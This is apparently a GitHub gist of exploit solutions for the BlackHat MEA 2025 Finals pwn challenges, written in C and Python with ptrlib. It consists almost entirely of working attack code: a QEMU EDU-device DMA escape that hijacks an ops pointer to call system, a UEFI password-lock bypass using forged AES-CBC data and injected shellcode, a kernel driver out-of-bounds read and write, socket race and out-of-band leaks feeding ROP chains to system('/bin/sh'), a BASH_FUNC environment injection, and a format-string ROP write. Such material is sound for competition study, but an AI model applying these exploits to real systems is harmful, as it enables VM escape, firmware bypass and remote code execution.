Skip to content

Instantly share code, notes, and snippets.

@ptr-yudai
Created December 4, 2025 15:22
Show Gist options
  • Select an option

  • Save ptr-yudai/ebf09b77256853fdfc3b2da5335b5ff2 to your computer and use it in GitHub Desktop.

Select an option

Save ptr-yudai/ebf09b77256853fdfc3b2da5335b5ff2 to your computer and use it in GitHub Desktop.
BlackHat MEA 2025 Finals (Pwn)
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
int pagemap_fd = -1;
uint64_t virt2phys(void *p) {
uint64_t virt = (uint64_t)p;
assert ((virt & 0xfff) == 0);
if (pagemap_fd == -1) {
pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
assert (pagemap_fd != -1);
}
uint64_t ofs = (virt / 0x1000) * 8;
assert (lseek(pagemap_fd, ofs, SEEK_SET) == ofs);
uint64_t phys;
assert (read(pagemap_fd, &phys, 8) == 8);
assert (phys & (1ULL << 63));
return (phys & ((1ULL << 55) - 1)) * 0x1000;
}
static inline void mmio_w64(volatile void *mmio, uint64_t ofs, uint64_t val) {
*(volatile uint64_t*)(mmio + ofs) = val;
}
static inline uint64_t mmio_r64(volatile void *mmio, uint64_t ofs) {
return *(volatile uint64_t*)(mmio + ofs);
}
#define EDU "04"
#define EDU_CARD_ADDR 0x40000
#define EDU_DMA_SRC 0x80
#define EDU_DMA_DST 0x88
#define EDU_DMA_CNT 0x90
#define EDU_DMA_CMD 0x98
#define EDU_CMD_RAM2EDU 0b001
#define EDU_CMD_EDU2RAM 0b011
int main() {
int cfg;
uint16_t cmd;
setbuf(stdout, NULL);
puts("[+] Configuring PCI devices...");
cfg = open("/sys/devices/pci0000:00/0000:00:" EDU ".0/config", O_RDWR);
assert (cfg != -1);
pread(cfg, &cmd, 2, 0x04);
cmd |= 0x0004;
pwrite(cfg, &cmd, 2, 0x04);;
close(cfg);
puts("[+] Opening PCI devices...");
int edu_fd = open("/sys/devices/pci0000:00/0000:00:" EDU ".0/resource0", O_RDWR | O_SYNC);
assert (edu_fd != -1);
void *edu = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, edu_fd, 0);
assert (edu != MAP_FAILED);
void *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_POPULATE|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
assert (map != MAP_FAILED);
uint64_t map_phys = virt2phys(map);
void *payload = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_POPULATE|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
assert (payload != MAP_FAILED);
uint64_t payload_phys = virt2phys(payload);
/* Leak buf and QEMU base */
mmio_w64(edu, EDU_DMA_SRC, EDU_CARD_ADDR - 0x1000);
mmio_w64(edu, EDU_DMA_DST, map_phys);
mmio_w64(edu, EDU_DMA_CNT, 0x1000);
mmio_w64(edu, EDU_DMA_CMD, EDU_CMD_EDU2RAM);
while (mmio_r64(edu, EDU_DMA_CMD) & 1);
uint64_t ops = *(size_t*)(map + 0xe68);
uint64_t qemu_base = ops - 0x17f8140;
uint64_t opaque = *(size_t*)(map + 0xe70);
uint64_t dma_buf = opaque + 0xca8;
uint64_t system = 0x19a7f68;
printf("[+] ops = 0x%016lx\n"
"[+] qemu = 0x%016lx\n"
"[+] opaque = 0x%016lx\n"
"[+] dma_buf = 0x%016lx\n",
ops, qemu_base, opaque, dma_buf);
/* Overwrite ops */
*(size_t*)(payload + 0x00) = qemu_base + 0x001c8dae; // call [rdi+0x50]
*(size_t*)(payload + 0x08) = 0xcafebabe;
mmio_w64(edu, EDU_DMA_SRC, payload_phys);
mmio_w64(edu, EDU_DMA_DST, EDU_CARD_ADDR);
mmio_w64(edu, EDU_DMA_CNT, 0x1000);
mmio_w64(edu, EDU_DMA_CMD, EDU_CMD_RAM2EDU);
while (mmio_r64(edu, EDU_DMA_CMD) & 1);
strcpy(map + 0x358, "cat /flag*.txt");
*(size_t*)(map + 0x3a8) = qemu_base + 0x4f8b4b; // call system
*(size_t*)(map + 0xe68) = dma_buf;
mmio_w64(edu, EDU_DMA_SRC, map_phys);
mmio_w64(edu, EDU_DMA_DST, EDU_CARD_ADDR - 0x1000);
mmio_w64(edu, EDU_DMA_CNT, 0x1000);
mmio_w64(edu, EDU_DMA_CMD, EDU_CMD_RAM2EDU);
while (mmio_r64(edu, EDU_DMA_CMD) & 1);
return 0;
}
import os
import random
import string
import time
from ptrlib import *
from Crypto.Cipher import AES
HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", "5000"))
random.seed(0x137)
def random_str(length):
return ''.join(random.choices(string.printable.strip(), k=length)).encode()
key_map = {
"up": b"\x1b[A",
"down": b"\x1b[B",
"left": b"\x1b[D",
"right": b"\x1b[C",
"esc": b"\x1b^[",
"enter": b"\r",
"tab": b"\t"
}
def send_key(_key: str, times: int = 1):
for _ in range(times):
sock.send(key_map[_key])
time.sleep(0.5)
shell_start = 0x000000001eb6e3b1 # in PlatformBootManagerUnableToboot
addr_shellcode = 0x000000001e954548
cpu = IntelCPU(64)
shellcode = cpu.assemble(f"""
sub rbp, 0x1000 // Avoid crash
add rsp, 8
mov rax, {shell_start}
jmp rax
""")
efi_base = 0x1e3a5000
addr_password = 0x000000001e954528
# call qword ptr [rax+118h] ; OpenProtocol
#fake_table = p64(addr_password + 8 - 0x118) + p64(0xdeaddead)
fake_table = p64(addr_password + 8 - 0x118) + p64(addr_shellcode)
key = b'\x10\x32\x54\x76\x98\xba\xdc\xfe\x0f\x1e\x2d\x3c\x4b\x5a\x69\x78'
iv = xor(AES.new(key, AES.MODE_ECB).decrypt(fake_table), b"A"*16)
#sock = Process("./run", cwd="../../challenge/app")
sock = Socket(HOST, PORT)
sock.recvline()
p = Process(["sh", "-c", sock.recvline().decode()])
sol = p.recvline()
p.close()
sock.after("solution: ").sendline(sol)
logger.info("Searching plaintext...")
while True:
plain = b"A"*16
plain += random_str(512 - 16 - 16)
cipher = AES.new(key, AES.MODE_CBC, iv).encrypt(plain)
last_plain = b'\x10' * 16
# mov rax, [rdi+60h] ; BootServices
last_cipher = b"A"*8 + p64(addr_password - 0x60)
middle_cipher = xor(AES.new(key, AES.MODE_ECB).decrypt(last_cipher), last_plain)
middle_plain = xor(AES.new(key, AES.MODE_ECB).decrypt(middle_cipher), cipher[-16:])
plain += middle_plain + last_plain
challenge = plain[-32:-16]
for c in challenge:
if c in [0, 8, 10, 13] or c >= 0x7f:
break
else:
print("found")
print(plain)
break
logger.info("Setting password...")
enc = AES.new(key, AES.MODE_CBC, iv).encrypt(plain[:0x10] + b'\x10'*16)
enc += shellcode
sock.after("$ ").sendline(f"printf '{''.join(map(lambda c: f'\\x{c:02x}', iv))}' > /tmp/a")
sock.after("$ ").sendline(f"printf '{''.join(map(lambda c: f'\\x{c:02x}', enc))}' >> /tmp/a")
sock.after("$ ").sendline("efivar -w -n 826f5ec7-8067-402d-b3a5-f1b1eb9dbc31-PcLock -f /tmp/a")
sock.after("$ ").sendline("exit")
logger.info("Pwning...")
payload = plain
sock.after("Enter password: ").sendline(payload)
sock.after("Enter password: ").sendline(payload[:0x10])
sock.sendline(b"A")
sock.recvuntil("Please select boot device")
logger.info("Entering EFI shell...")
time.sleep(0.5)
send_key("down", 4)
send_key("enter")
send_key("enter")
logger.info("Executing Linux in root mode...")
sock.after("Shell>").send("\rmap\r")
sock.after("Shell>").send("\rfs0:\r")
sock.after("FS0:\\>").send("\rls\r")
sock.after("FS0:\\>").send('\r\\bzImage root=/dev/sda console=ttyS0 init=/bin/sh\r')
logger.info("You got a root shell!")
sock.sh(prompt="") # run "cat /dev/sdb" to get the flag
os.system("pkill qemu-system-x86")
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define CMD_READ 0x1337
#define CMD_WRITE 0x1338
struct req_t {
char* buf;
size_t size;
};
int fd;
static inline int cmd_read(char *buf, size_t size) {
struct req_t req = { .buf = buf, .size = size };
return ioctl(fd, CMD_READ, &req);
}
static inline int cmd_write(char *buf, size_t size) {
struct req_t req = { .buf = buf, .size = size };
return ioctl(fd, CMD_WRITE, &req);
}
int main() {
char buf[0x1000] = { 0 };
assert((fd = open("/dev/vuln", O_RDWR)) != -1);
cmd_read(buf, 0x1000 - 0x2a0);
size_t addr_flag = *(size_t*)(buf + 0x1b0) - 0x220;
printf("[+] flag = 0x%016lx\n", addr_flag);
*(size_t*)(buf + 0x128) = addr_flag - 0x10;
printf("%d\n", cmd_write(buf, 0x1000 - 0x29f));
getchar(); // Flag shown in panic message
return 0;
}
import os
import socket
import time
from ptrlib import *
HOST = os.getenv("HOST", "192.168.1.200")
PORT = int(os.getenv("PORT", "5000"))
libc = ELF("./libc.so.6")
elf = ELF("../../player/chall")
s1 = Socket(HOST, PORT) # fd=4
time.sleep(0.1)
s2 = Socket(HOST, PORT) # fd=5
s1.send(p64(0x100))
time.sleep(0.25)
# Close fd=4
s2.send(p64(0x100))
s2.send(b"\x00"*0x7c + p32(4)) # pthread_exit ignores NULL pointer on unwind
time.sleep(0.5)
# Open fd=4
s3 = Socket(HOST, PORT) # fd=6
time.sleep(0.1)
s4 = Socket(HOST, PORT) # fd=4
time.sleep(0.1)
s4.send(p64(0x100))
s4.send(b"\x00"*0x7c + p32(1 << 31))
time.sleep(0.25)
# Send RST packet to fd=4
s1._sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, p32(1) + p32(0))
s1._sock.close()
# Leak
leak = s4.recvall(0x100)
canary = u64(leak[0x48:0x50])
logger.info("canary = " + hex(canary))
elf.base = u64(leak[0x58:0x60]) - 0x147e
libc.base = u64(leak[0x88:0x90]) - 0x9c720 - 900
# Close fd=0 and fd=1
s = Socket(HOST, PORT)
s.send(p64(0x100))
s.send(b"\x00"*0x7c + p32(0))
time.sleep(0.1)
s = Socket(HOST, PORT)
s.send(p64(0x100))
s.send(b"\x00"*0x7c + p32(1))
time.sleep(0.1)
# Pwn
stdin = Socket(HOST, PORT) # fd=0
stdout = Socket(HOST, PORT) # fd=1
payload = b"A"*0x48
payload += p64([
canary,
0,
libc.gadget("ret;"),
libc.gadget("pop rdi; ret;"),
libc.find("/bin/sh"),
libc.symbol("system")
])
stdin.send(p64(len(payload)))
stdin.send(payload)
stdin.sendline("cat /flag*.txt")
print(stdout.recvall(timeout=1))
import os
import time
from ptrlib import *
# NOTE: The exploit will fail with loopback address
# because docker-proxy will try to transfer the packet without TCP flags.
libc = ELF("./libc.so.6")
HOST = os.getenv("HOST", "192.168.151.72")
PORT = int(os.getenv("PORT", "5000"))
sock = Socket(HOST, PORT)
remote_fd = 4
"""
1. Leak stack
"""
sock.send(p64(0x180))
with sock.out_of_band():
sock.send(b"A"*2) # Abort tcp_recvmsg_locked
buf = sock.recvall(0x180)
canary = u64(buf[0x108:0x110])
libc.base = u64(buf[0x118:0x120]) - 0x2a1ca
"""
2. ROP
"""
payload = b"A"*0x108
payload += p64([
canary, 0,
libc.gadget('pop rsi; ret'), 0,
libc.gadget('pop rdi; ret'), remote_fd,
libc.symbol('dup2'),
libc.gadget('pop rsi; ret'), 1,
libc.gadget('pop rdi; ret'), remote_fd,
libc.symbol('dup2'),
libc.gadget('ret'),
libc.gadget('pop rdi; ret'),
libc.find('/bin/sh'),
libc.symbol('system')
])
sock.send(p64(len(payload)))
sock.send(payload)
sock.recvall(len(payload))
sock.send(p64(0))
sock.sendline("cat /flag*.txt")
r = sock.recvregex(r".+\{.+\}")
print(r.group())
sock.close()
import os
from ptrlib import *
HOST = os.getenv('HOST', 'localhost')
PORT = int(os.getenv('PORT', '5000'))
env = pad(b"BASH_FUNC_echo%%=() { /bin/sh; }\0", 16, "zero")
padding = b"A"*0x1a
payload = padding
payload += env * ((0x10000 + 0x148 - len(padding)) // len(env))
payload += b"\x00" * (0x10000 + 0x148 - len(payload))
print(len(payload))
while True:
sock = Socket(HOST, PORT)
sock.sendline(payload)
try:
if sock.recvline(timeout=1) == b'Are you a good pwner?':
continue
except TimeoutError:
sock.sh()
exit()
import os
from ptrlib import *
HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", 5000))
def do(args: list[str], fmt: str):
sock.after('# of args: ').sendline(len(args))
for arg in args:
sock.after(': ').sendline(arg)
sock.after('string: ').sendline(fmt)
libc = ELF("./libc.so.6")
sock = Socket(HOST, PORT)
# Leak stack
do([123, 123, 123, 123], '%*c%*c%*c %p')
r = sock.recvregex(r'(0x[0-9a-f]+)')
addr_stack = int(r.group(1), 16)
logger.info("stack = " + hex(addr_stack))
# Leak proc
do([addr_stack + 0x160], '%s')
elf_base = u64(sock.recvline()) - 0x3d80
logger.info("proc = " + hex(elf_base))
# Leak libc
do([elf_base + 0x4010], '%s')
libc.base = u64(sock.recvline()) - libc.symbol('_IO_2_1_stdout_')
# Write ROP chain
rop = p64([
libc.gadget('ret'),
libc.gadget('pop rdi; ret'),
libc.find('/bin/sh'),
libc.symbol('system')
])
for i, c in enumerate(rop):
if c == 0:
do([addr_stack + 0x170 + i], '%hhn')
else:
do([c, 0x41, addr_stack + 0x170 + i], '%*c%hhn')
# Win!
sock.after(': ').sendline('+')
sock.sendline("cat /flag*.txt")
r = sock.recvregex(r'.+\{.+\}')
print(r.group(0))
sock.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment